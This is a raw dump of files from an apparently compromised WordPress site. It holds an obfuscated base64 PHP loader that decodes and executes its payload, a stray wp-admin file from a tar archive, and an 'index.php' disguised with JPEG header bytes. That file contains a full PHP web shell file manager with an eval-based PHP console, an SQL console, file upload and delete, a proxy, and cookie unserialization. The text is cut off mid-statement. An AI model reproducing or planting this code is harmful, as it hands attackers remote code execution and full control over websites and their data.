wFf2Wt9T/conpMhe6cFjvpWlg7gbi7A1aA+1rkCkXvqyFKdpzgJthHuDHgeFVW57oluINZr/6I+V8Jh4Knbcl2Da+rpFPC3lOE5tcZzwRDL2N7mr3kb/vOEmihj2xYjvBxteSHrHqKUPATwZ9bNwD1zVIr1/R3Y5Vwl3I5YoTUTfjRURnOtF/5Nc90oMcHnyCPtoXyt+VYZGLxmYxSmEnXIX1o9BnxLl8aqrNlSA/kWAonMmo/Ejr5ULzmhZBYCMMIkYHn06nUutNNtFbrO0RoN6Y/XLNA7kfOksh7LacWynMdFrjfHBQFFkCFj85j9jENe8AAYavA3DG0Za9Wpdb6URt9l6y/JbgLOihfAD1qyrYhDnNFs6jPk3vnCMWm5H/P9ow5AW7d83du9Uwwjep5s6u832JRX8IkyyaOP+AcvNemnu/SdJ2gvdjDHosqj+MRwTrrmRr3iATXZrs8r0PtcUldy4UA28qXowLTxZpOtW3a2WiujdkBLOdxzNyqURQ1+JQW/WulPq7S22RrLg6la2su1/3KTsV8zMyWSbWfG6zuHfXVhVjSKcG/RfmsIf4Ya5UkxoIW173dF9TNbuWVRj9gfL2kXdVDrwG1Qs8HESkObpDfdVLu7VNevfQ0qf9339nZn3WahtIG6ktfj0tx4yDexNUV1YE6nFj2J9XkvfZVzwJ/ai/q13iub90cD2m9BZxqOBujqdW9u8AX4gbV6gF/ixfBul52OXmv4KD5KxAdok/mw6LFkn6C1mmcp4qV87f/Mb0fw/zFznJNuzCybvkHXHeNc73DvPApmHtf5YOXStKVheiIgCWk7yNXmLKlMmE8IeN43Pvy8v0cFZlQOmKjODGJNLsTQX3x9750Gt2FsQ2lgMxOPa+0bVxqox8onmDcP0aF1jnDKGGaVVqkINjMx5pF5bphRN48Xdpehmvlw2Zx48azzV152VScn5blfoNH8o4362kS5Mj6d9b2qp9x/4J4/E195oAdszOuH8B0QmCPOEM4gD9b92UgplF+ct/sTfd/g/rZkbXRUDB0PgKcCIbPyePpaW8rBJ1h8Ynrtt1VvJ84s7usA/BSGHBWVp3UhthfMkMHYuCt4s+4jQNYtx4uB33CrwAf44FPQTWS3RxXqe+2ta4Iwx4bJQT3xlK/jo+PxNTerv0FuN1/UJ99Mj4FCckxNvqgW25kHuOLxErzRI7Mjo+zUJHKyL9FYsHUfKShg1Tkf3HQfsR3d5G5bQB5/sfOWSp9j8FxH4Mbv9b0v7GffrFB18zEOP81TiN5Erijp5qtY/f9z8oEbdMzxRQXbSwJWlYDOiYU2K1s20tcZYGyYIdA5vVNUIdqDF01Vju/UJlQajceCmy164JIOfNrP+86MmKu3NNfjCTQtCXhfM9Nd3+W5rm9b1ybz5804+eCJPIzS3D1gEa/rmj+YMQ9ZqzoZKHm01nfsFE7dM3t9Ty7kyIW1/gxaHOPOLOC7p9cYhe7mg4XME9XJ+m7CrCMjEdswNdb9mwkCHZTECzrwnk+A617d+xvQthcGWg7+ziBevEntaBABcJdPjtyo13mFdq27a7zOO+0fwD+pw3/mZmnQEPBcDsU92oF/YhQ0XgmxqkCawvUnNdRXwHiE+y1JBJ85A1/FVUNB8paggUQnxyxk19Ta9vW6R1OHWGpG+9rCT25FBWjpRiLViNfeJcaCWzcjGjBqN1H4BRFb59IgowYXfvL3S+mDZzPxgeXoloDmZ2LyDoa2FJtZxZyh6Pl8MCI382+blBlLPKzvnY8+qqC2mNdcgPPoqd9YP3vc8qSm3ZrHsuwihjuUg69M1vf5EGtd29hA9sjrOn9t3feHv8YxMaq0+2S+ymgwwrOpPANvAX7Zi/PiDk6lr+zuQQcJ38kb0IR5iV6x3EGe2sxqgJtr88T4/cQ+n3HrdnGPrWwYm4ySkHP5pewxqYbxUljgwXuFgKvck3+58iW26449Ew+dVe+/xkxKCx9xtsWlOdI64I5Eunj5cQF5GQDvcn3lXIMCxlfam2ZtzARyuyHaf6zrzjN0cWhP1rVljTSiTtLGLCGfS5MUsUlute/fOXM+1jYQjC/VQspU64aa+wfr1v5d9dpLNBvIhg84wN7eKUyy+p9OBb5FON+xdd6xMZvUx0cVMIMufCkHvb6bRRRWE6cCeFZ/2qmOBsXkGXucre+Gh3ofAaMBA5obtK9VW85E/NccGPAho88E4rw3u9KSa74bJxRp0K9GAfyd+c1GhugKXIhloI3SRinJiQccaVY5KM0QeDFwhnWsiXtNk3mgsU2Zgw52IFbr2P/mxGbj9Orb4F/Suj2J4VyKLn7wALdEQw37860GjU0Ccj+FPC/NaCrapqnCdJHtft1veeEGSgHTh7KfnZKvexSO3cFwRgnaUbZNwPh+Iah7nNo96DbEX9zTSm/d0y+zEKOBc2TPba8GDFDIEegVXlrTV5aTBwaMA40cl7xY96zNs/W99gbgXauG1DLz2AT9t+4Ba5nf0oDr+IahzjfADqLTBQ/189VPdFOWTNe5vQebF9Xz14b04wNi64JGKFjQ3NPlfabG+AE64q0Gt1aZaoK47lJmtjIAX9A2FO7HrbuGxzaKy3WNRB4dM2tjll0KcUAG4eP42iOCOXcWRCHzJ1wH0R13ZH03ZFPqxmA92VE+dqC78xpqDlQScPUMX+PuAU8uR6N7VMy/psZ2YcbDoszJiwGfK9/8EL45xD7eFVaU1Tbci6lfscT26Es2w3m4ILttJ9Z3JEPuFfbqyfHj1G896YO3axGHnGxA3ziAcYIB+2LB36TgPs8Vjpl/xzry61DvpSW/4yDSWY7Bs+P1vfNPErz228hPHFznwNdx3wtdXLccUoObY5QtyOdWcxFsGx4tbmG6vk1YTsxGNwp8mAA2JQG+r/sXgUdM0x4loPPmU66n2MQlcP1Z+HJds5MCLuGfuVlbDh7rwgeFgZ36uG80zxsoelfLUPeAHeAXbjYUV5/5HHhO3moqWem5gGfEji3sgj+5nphxB47/EuwBuumXAZ4bdD8uQcvfIY5fst++5rJmbedUz4mUfbqkVAfgUd/g35O0n9wqmA7QUPgUkrd4cRsZjDY+3za4mzMV4q/KRgET6kLWvTHXNfe6uZJgtiXbIrG+s4S789EAvG/rZ7r8vDuOWvEGtDPEDtusv9xP/gT8dHlkuQ4rj4FfW98VSdpsIR5oHwcHaH2ntoutrSFzf64WuSf+3BYWyWOm1vlvZ2p2dxE8nMMC7e1Fz1MwDT/vJp7GQvgb1uoWd02guuaDaXmH2gtEyxeoh3Uv5ZlnoIvE9ivOeYp9NGY+6NVWYsB8aDs5nAKIv8m9SnNWsAnUaXHNzIhLLgs2XK6FkK81KafAvNS9Tta9Denyvr6j7Qu83EjOk5NyWQIHrHo4hLrURW8W6aI/Kn25Vho905Y9STa5wAzrnA1eGk5Xa/4FXk2fdtNGGdIiIoLKwwXuXv1EJR7QhZtQV4iA4+B3ZRGCTfTkNknFukder79AO0o24Kg0xpKbssygyIjvP6qcDIVVP7GP47LvnoCb5xLxJm59k5huIkJlQ54+j9b2nL7GdMkZdFpLaPN2fL37WmnRoz3Lm4EYcg8Yagsml6OpPjI7figfdDrk5sGowRnGDtT4XULd1+K153YMGnwT958OFlPIg4tdUfUsl2gpe/xad8b68ZD1vFULiQsTr+95KQ7rGiVfH0sxLizbHlUXOdAGXTz44FWACwMyxDS6re+BqpC+FZaZneDPhRGB/+RjLJwI+MdOB4QKY7a5hro7v/CSlH76hDp5EnCnqbXZCIrjOtiGinLQczg6LPxQsXSBnDAzChyr8a00cRb7W01Bhx8NswXd61MfOXHnYDZIApoCPK40Wf/rqhBK4vVdKq/9iaK1nzsBDr2ktvzmPN6c+jECz8GIkPt6GJOj+W6JnuwzHcXUdsnRHilk31J1xb3M1bEOiKN8c93vd8z6zqAGaJTnZJbC6djaBzOMj6Jv2p89wdWMkU4Kur/zsIlAG4B/IlllA895SmOBvznos0SkT9HzW2msYzdbrtjjigOzk/0k6s5BoHt3gkdz2stBhHKpOHCAf3lUVnOOFzC14auf6Mi8DnB2LKUw1/7CADzALM0IcWZ+qUHtoKbtU28upTWeCSVnsc49EPJBeffMEHrj4FEgxz7SDltx73hw7gN0D81C+QaeAjyoJIw3+DX/Mt8vJy4d0Co3aqEBtOaV9dsC2m2qTfDyA36rjWauWbEhbfR1XKA9TLQADntpN9lZCHqt+4Sf0XTin1cWIhQH6x4iJqViW9RWY8seNIAdveYFYy130I4QI0yyHscHq8GZSTax8TAqMWWxgcrMfL/WYb2p0dhTa3utjWgDvMckanZpZ3rMHHcneKrMio4cfCF4mZhT7h0Xd1f6zpUz3YPGf73vLG4/Z8BXVAXsybxoqBh6Vnl8VeJyxeYImt41C9td50zbpdG0J199MYFvQjeT0qors21O+6lQg7bWd28Arp75+s5ZS36dmDyklnNmXCY/63uUhHhZJEBDfd5C3jdJDX5+HVPCNrZOPd8VxjjEAxFpK/3aayYMco2FJIN8gfyW9xhBnXnSKU1IeFHPa/1IixPVazPOJjMedFcDcr76NqyIMTM1Y5MXdX9ZiIHmOh8ZeBnzFEjQQbw7CWijQF0VMyzSgi4RSJzouvZUXnBvPpTZXSv43kI3wKWGCbgp0mz7ZAMH3UvWveivMX/N/W9PveoSVi/ghb9O4HuBBwwCaoovUqR2Y2W6WzjEG7zLVA+vNVRXENsBaOeBGw2taHPkS716NShGNOIcfEZbr3t0P2TPP9IceSV1zd/2LjkTSw10aI54UaVc+OMIGpkOkWTBdocR3lQeCmJ2MaSJLsy4re9bfMQtM4q1fzVU6/y0EQc3A3O9jsFajM1BnG3XtR48NqJUGb/WfbJe7zs7cb6RGn9n9id8qzpmtitpjj4qW/ODNXWYRuBi8RNiiPnaPut7M3LQfaDdT2LLoabNgyl3hOqnDCbQEcWmet6czNfrYqzNYZHPdJ2DZd1+3vPsT+vcpiQL0ZL1c0dCcgS9mpFuXMdhmkqse8ZpXAH/Qi2/gY49k9Y166Bb3+nOwWddlQ8Sh7r3lBb3tPPBxEBuGGOjuDqsczTjkJs/c//BizHwKHa3iZbX+88/X5q6R8/97jWnptt7xmdkNuBjXJr4jkuYWTB/7hldvSYZSK6+Cqbv0poZWwitWTNWkNtrPwL1o4QOYItFccVsCxzwucH2+7NeezX76I166aLa+HHS0og7cBL5T3+SYOZ32V1MbsiZovX9JU5a9zwpEXFOnQ5jKj3ALC76hxWzaSk6bNKwvkqbfJHudoUUiqseuJDNCPjUhJ+72CNdIZrX3uHZUjxAg32R1zvfwQNS5QPO37BoLkdraiWLvuk63tiBng7mA2j7EX7PeItlKfZ3waYr0+/Xykht1aePuNuu+30i8KFIAUclEB8+oIFYKE9Xn84lVML4Jn7mvCIejlSxCTKv2WXGus4SNOFusqqQW0ngPGtbtVXYvFWchJk94tr4dQVMu/MO4TL/tOow6gvA5NKUl7jbm8cFAdfpvOjWd+I2GxKu773lr7kylSU3xIjWMckZrhGAdnnIYHusfNBg/gMarQb/Mu1xONoSMA80E/rI6n/x0nEL5+MdaCr1dOPKwtfDroO/v/zbn/71n/7pn//vO/7r/3gd//b6+d9++9P/9q//v5z+u3P/Myf+179+4X/70/r/P/1//vK1f3ny//JPf/z3v/6/f/rbNvhvf9PoP03wv/3r/wnFpPGg'; $___();$__________($______($__($_))); $________=$____(); $_____(); echo $________; /* qsmvno */ PK �s|\�Չ2 user-edit.php.tarnu �[��� home/everqlsh/public_html/wp-admin/user/user-edit.php 0000644 00000000372 15162016757 0016747 0 ustar 00 <?php /** * Edit user administration panel. * * @package WordPress * @subpackage Administration * @since 3.1.0 */ /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; require ABSPATH . 'wp-admin/user-edit.php'; PK �s|\{���H2 H2 index.phpnu �[��� ÿØÿà JFIF ÿÛ C "$"$"$""$"!ÿÛ C MH刚看到东莞刚刚好ÿ p " ÿÄ ÿÄ ÿÚ ÕÔË® (% aA*‚XYD¡(J„¡E¢RE,P€XYae )(E¤²€B¤R¥ BQ¤¢ X«)X…€¤ @ a没别哦该as .....................................................................................................................................<?php /** ......................................... ............................................................................. <?php /* PHP File manager ver 1.5 */ // Preparations $starttime = explode(' ', microtime()); $starttime = $starttime[1] + $starttime[0]; $langs = array('en','ru','de','fr','uk'); $path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']); $path = str_replace('\\', '/', $path) . '/'; $main_path=str_replace('\\', '/',realpath('./')); $phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false; $msg_ntimes = ''; // service string $default_language = 'de'; $detect_lang = true; $fm_version = 1.6; // Little default config $fm_default_config = array ( 'make_directory' => true, 'new_file' => true, 'upload_file' => true, 'show_dir_size' => false, //if true, show directory size → maybe slow 'show_img' => true, 'show_php_ver' => true, 'show_php_ini' => false, // show path to current php.ini 'show_gt' => true, // show generation time 'enable_php_console' => true, 'enable_sql_console' => true, 'sql_server' => 'localhost', 'sql_username' => 'root', 'sql_password' => '', 'sql_db' => 'test_base', 'enable_proxy' => true, 'show_phpinfo' => true, 'show_xls' => true, 'fm_settings' => true, 'restore_time' => true, 'fm_restore_time' => false, ); if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config; else $fm_config = unserialize($_COOKIE['fm_config']); // Change language if (isset($_POST['fm_lang'])) { setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization'])); $_COOKIE['fm_lang'] = $_POST['fm_lang']; } $language = $default_language; // Detect browser language if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){ $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']); if (!empty($lang_priority)){ foreach ($lang_priority as $lang_arr){ $lng = explode(';', $lang_arr); $lng = $lng[0]; if(in_array($lng,$langs)){ $language = $lng; break; } } } } // Cookie language is primary for ever $language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang']; //translation function __($text){ global $lang; if (isset($lang[$text])) return $lang[$text]; else return $text; }; //delete files and dirs recursively function fm_del_files($file, $recursive = false) { if($recursive && @is_dir($file)) { $els = fm_scan_dir($file, '', '', true); foreach ($els as $el) { if($el != '.' && $el != '..'){ fm_del_files($file . '/' . $el, true); } } } if(@is_dir($file)) { return rmdir($file); } else { return @unlink($file); } } //file perms function fm_rights_string($file, $if = false){ $perms = fileperms($file); $info = ''; if(!$if){ if (($perms & 0xC000) == 0xC000) { //Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { //Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { //Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { //Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { //Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { //Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { //FIFO pipe $info = 'p'; } else { //Unknown $info = 'u'; } } //Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); //Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); //World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } function fm_convert_rights($mode) { $mode = str_pad($mode,9,'-'); $trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1'); $mode = strtr($mode,$trans); $newmode = '0'; $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; $newmode .= $owner . $group . $world; return intval($newmode, 8); } function fm_chmod($file, $val, $rec = false) { $res = @chmod(realpath($file), $val); if(@is_dir($file) && $rec){ $els = fm_scan_dir($file); foreach ($els as $el) { $res = $res && fm_chmod($file . '/' . $el, $val, true); } } return $res; } //load files function fm_download($file_name) { if (!empty($file_name)) { if (file_exists($file_name)) { header("Content-Disposition: attachment; filename=" . basename($file_name)); header("Content-Type: application/xml"); $fp = fopen($file_name, "r"); while (!feof($fp)) { echo fread($fp, 65536); flush(); // this is essential for large downloads } fclose($fp); die(); } else { header('HTTP/1.0 404 Not Found', true, 404); header('Status: 404 Not Found'); die(); } } } //show folder size function fm_dir_size($f,$format=true) { if($format) { $size=fm_dir_size($f,false); if($size<=1024) return $size.' bytes'; elseif($size<=1024*1024) return round($size/(1024),2).' Kb'; elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb'; elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).' Gb'; elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:))) else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-) } else { if(is_file($f)) return filesize($f); $size=0; $dh=opendir($f); while(($file=readdir($dh))!==false) { if($file=='.' || $file=='..') continue; if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file); else $size+=fm_dir_size($f.'/'.$file,false); } closedir($dh); return $size+filesize($f); } } //scan directory function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) { $dir = $ndir = array(); if(!empty($exp)){ $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/'; } if(!empty($type) && $type !== 'all'){ $func = 'is_' . $type; } if(@is_dir($directory)){ $fh = opendir($directory); while (false !== ($filename = readdir($fh))) { if(substr($filename, 0, 1) != '.' || $do_not_filter) { if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){ $dir[] = $filename; } } } closedir($fh); natsort($dir); } return $dir; } function fm_link($get,$link,$name,$title='') { if (empty($title)) $title=$name.' '.basename($link); return ' <a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>'; } function fm_arr_to_option($arr,$n,$sel=''){ foreach($arr as $v){ $b=$v[$n]; $res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>'; } return $res; } function fm_lang_form ($current='en'){ return ' <form name="change_lang" method="post" action=""> <select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" > <option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option> <option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option> <option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option> <option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option> <option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option> </select> </form> '; } function fm_root($dirname){ return ($dirname=='.' OR $dirname=='..'); } function fm_php($string){ $display_errors=ini_get('display_errors'); ini_set('display_errors', '1'); ob_start(); eval(trim($string)); $text = ob_get_contents(); ob_end_clean(); ini_set('display_errors', $display_errors); return $text; } //SHOW DATABASES function fm_sql_connect(){ global $fm_config; return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']); } function fm_sql($query){ global $fm_config; $query=trim($query); ob_start(); $connection = fm_sql_connect(); if ($connection->connect_error) { ob_end_clean(); return $connection->connect_error; } $connection->set_charset('utf8'); $queried = mysqli_query($connection,$query); if ($queried===false) { ob_end_clean(); return mysqli_error($connection); } else { if(!empty($queried)){ while($row = mysqli_fetch_assoc($queried)) { $query_result[]= $row; } } $vdump=empty($query_result)?'':var_export($query_result,true); ob_end_clean(); $connection->close(); return '<pre>'.stripslashes($vdump).'</pre>'; } } function fm_backup_tables($tables = '*', $full_backup = true) { global $path; $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; if($tables == '*') { $tables = array(); $result = $mysqldb->query('SHOW TABLES'); while($row = mysqli_fetch_row($result)) { $tables[] = $row[0]; } } else { $tables = is_array($tables) ? $tables : explode(',',$tables); } $return=''; foreach($tables as $table) { $result = $mysqldb->query('SELECT * FROM '.$table); $num_fields = mysqli_num_fields($result); $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter; $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table)); $return.=$row2[1].$delimiter; if ($full_backup) { for ($i = 0; $i < $num_fields; $i++) { while($row = mysqli_fetch_row($result)) { $return.= 'INSERT INTO `'.$table.'` VALUES('; for($j=0; $j<$num_fields; $j++) { $row[$j] = addslashes($row[$j]); $row[$j] = str_replace("\n","\\n",$row[$j]); if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; } if ($j<($num_fields-1)) { $return.= ','; } } $return.= ')'.$delimiter; } } } else { $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return); } $return.="\n\n\n"; } //save file $file=gmdate("Y-m-d_H-i-s",time()).'.sql'; $handle = fopen($file,'w+'); fwrite($handle,$return); fclose($handle); $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"'; return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>'; } function fm_restore_tables($sqlFileToExecute) { $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; // Load and explode the sql file $f = fopen($sqlFileToExecute,"r+"); $sqlFile = fread($f,filesize($sqlFileToExecute)); $sqlArray = explode($delimiter,$sqlFile); //Process the sql file by statements foreach ($sqlArray as $stmt) { if (strlen($stmt)>3){ $result = $mysqldb->query($stmt); if (!$result){ $sqlErrorCode = mysqli_errno($mysqldb->connection); $sqlErrorText = mysqli_error($mysqldb->connection); $sqlStmt = $stmt; break; } } } if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute; else return $sqlErrorText.'<br/>'.$stmt; } function fm_img_link($filename){ return './'.basename(__FILE__).'?img='.base64_encode($filename); } function fm_home_style(){ return ' input, input.fm_input { text-indent: 2px; } input, textarea, select, input.fm_input { color: black; font: normal 8pt Verdana, Arial, Helvetica, sans-serif; border-color: black; background-color: #FCFCFC none !important; border-radius: 0; padding: 2px; } input.fm_input { background: #FCFCFC none !important; cursor: pointer; } .home { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg=="); background-repeat: no-repeat; }'; } function fm_config_checkbox_row($name,$value) { global $fm_config; return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>'; } function fm_protocol() { if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://'; if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://'; if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://'; if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://'; return 'http://'; } function fm_site_url() { return fm_protocol().$_SERVER['HTTP_HOST']; } function fm_url($full=false) { $host=$full?fm_site_url():'.'; return $host.'/'.basename(__FILE__); } function fm_home($full=false){ return ' <a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home"> </span></a>'; } function fm_run_input($lng) { global $fm_config; $return = !empty($fm_config['enable_'.$lng.'_console']) ? ' <form method="post" action="'.fm_url().'" style="display:inline"> <input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'"> </form> ' : ''; return $return; } function fm_url_proxy($matches) { $link = str_replace('&','&',$matches[2]); $url = isset($_GET['url'])?$_GET['url']:''; $parse_url = parse_url($url); $host = $parse_url['scheme'].'://'.$parse_url['host'].'/'; if (substr($link,0,2)=='//') { $link = substr_replace($link,fm_protocol(),0,2); } elseif (substr($link,0,1)=='/') { $link = substr_replace($link,$host,0,1); } elseif (substr($link,0,2)=='./') { $link = substr_replace($link,$host,0,2); } elseif (substr($link,0,4)=='http') { //alles machen wunderschon } else { $link = $host.$link; } if ($matches[1]=='href' && !strripos($link, 'css')) { $base = fm_site_url().'/'.basename(__FILE__); $baseq = $base.'?proxy=true&url='; $link = $baseq.urlencode($link); } elseif (strripos($link, 'css')){ //как-то тоже подменять надо } return $matches[1].'="'.$link.'"'; } function fm_tpl_form($lng_tpl) { global ${$lng_tpl.'_templates'}; $tpl_arr = json_decode(${$lng_tpl.'_templates'},true); $str = ''; foreach ($tpl_arr as $ktpl=>$vtpl) { $str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]" cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>'; } return ' <table> <tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr> <form method="post" action=""> <input type="hidden" value="'.$lng_tpl.'" name="tpl_edited"> <tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr> '.$str.' <tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr> </form> <form method="post" action=""> <input type="hidden" value="'.$lng_tpl.'" name="tpl_edited"> <tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value" cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr> </form> </table> '; } function find_text_in_files($dir, $mask, $text) { $results = array(); if ($handle = opendir($dir)) { while (false !== ($entry = readdir($handle))) { if ($entry != "." && $entry != "..") { $path = $dir . "/" . $entry; if (is_dir($path)) { $results = array_merge($results, find_text_in_files($path, $mask, $text)); } else { if (fnmatch($mask, $entry)) { $contents = file_get_contents($path); if (strpos($contents, $text) !== false) { $results[] = str_replace('//', '/', $path); } } } } } closedir($handle); } return $results; } /* End Functions */ // authorization if ($auth['authorize']) { if (isset($_POST['login']) && isset($_POST['password'])){ if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) { setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization'])); $_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']); } } if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) { echo ' '; die(); } if (isset($_POST['quit'])) { unset($_COOKIE[$auth['cookie_name']]); setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization'])); header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']); } } // Change config if (isset($_GET['fm_settings'])) { if (isset($_GET['fm_config_delete'])) { unset($_COOKIE['fm_config']); setcookie('fm_config', '', time() - (86400 * $auth['days_authorization'])); header('Location: '.fm_url().'?fm_settings=true'); exit(0); } elseif (isset($_POST['fm_config'])) { $fm_config = $_POST['fm_config']; setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization'])); $_COOKIE['fm_config'] = serialize($fm_config); $msg_ntimes = 